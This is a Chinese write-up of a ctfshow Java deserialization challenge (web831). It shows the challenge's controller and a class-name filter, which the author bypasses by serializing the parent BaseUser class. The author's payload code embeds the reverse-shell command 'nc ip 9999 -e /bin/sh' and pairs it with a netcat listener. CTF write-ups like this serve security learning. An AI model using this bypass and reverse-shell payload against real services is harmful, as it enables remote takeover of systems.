ctfshow-web831

一、题目分析

第三道基础java反序列化题了，这道题有一个防御，SafeObjectInputStream这个 类里面有一个resolveClass方法，听师傅说类似于php的__wakeup方法，一下子就恍然大悟。简单的看一下他的作用，就是判断是否是User类，如果是的话就抛出异常，那我们是不是没法做了呢，我们注意到User类是继承了BaseUser类的，也就是说，我们直接创建一个User的父类，BaseUser类就好了，这样就绕过了他的安全检测。

package com.ctfshow.controller;

import com.ctfshow.entity.User;
import com.ctfshow.util.SafeObjectInputStream;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.ResponseBody;

import javax.servlet.http.HttpServletRequest;
import java.io.ByteArrayInputStream;
import java.io.FileInputStream;
import java.io.ObjectInputStream;
import java.util.Base64;

/**
 * @Auther: h1xa
 * @Date: 2022-06-09 23:36
 * @Description:
 */
@Controller
@RequestMapping("/")
public class IndexController {

    @RequestMapping(value = "/",method = RequestMethod.POST)
    @ResponseBody
    public String index(HttpServletRequest request){
        User user=null;
        try {
            byte[] userData = Base64.getDecoder().decode(request.getParameter("userData"));
            SafeObjectInputStream safeObjectInputStream = new SafeObjectInputStream(new ByteArrayInputStream(userData));
            user = (User) safeObjectInputStream.readUnshared();
        }catch (ClassNotFoundException e){
            return "User class can not unserialize";
        } catch (Exception e){
            e.printStackTrace();
            return "unserialize error";
        }

        return "unserialize done, you username is "+user.getName();
    }

    @RequestMapping(value = "/",method = RequestMethod.GET)
    @ResponseBody
    public String index(){
        return "plz post parameter 'userData'  to unserialize";
    }
}

package com.ctfshow.util;

import java.io.IOException;
import java.io.InputStream;
import java.io.ObjectInputStream;
import java.io.ObjectStreamClass;

/**
 * @Auther: h1xa
 * @Date: 2022-06-11 19:00
 * @Description:
 */
public class SafeObjectInputStream extends ObjectInputStream {

    public SafeObjectInputStream(InputStream in) throws IOException {
        super(in);
    }
    protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
        String[] className = desc.getName().split("\\.");
        if(className[className.length-1].equals("User")){
            throw new ClassNotFoundException("ClassName Not Support!");
        }else{
            return super.resolveClass(desc);
        }
    }

}

 二、写代码咯

代码终于写熟起来了，这次就把写的完整代码贴出来。之前文章我没贴多余的代码。

public class IndexController {
    public static void main(String[] args) throws IOException {

        BaseUser baseUser = new BaseUser();
        baseUser.secret="nc ip 9999 -e /bin/sh";


        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(baseUser);
        byte[] encode = Base64.getEncoder().encode(byteArrayOutputStream.toByteArray());
        for (int i = 0; i < encode.length; i++) {
            System.out.print((char)encode[i]);

        }

    }
}

然后就是nc监听，运行payload，反弹shell。

 

  三、总结

1、这里就一个知识点，绕waf，创建父类这个想法。

2、然后我对代码的熟悉程度提高了。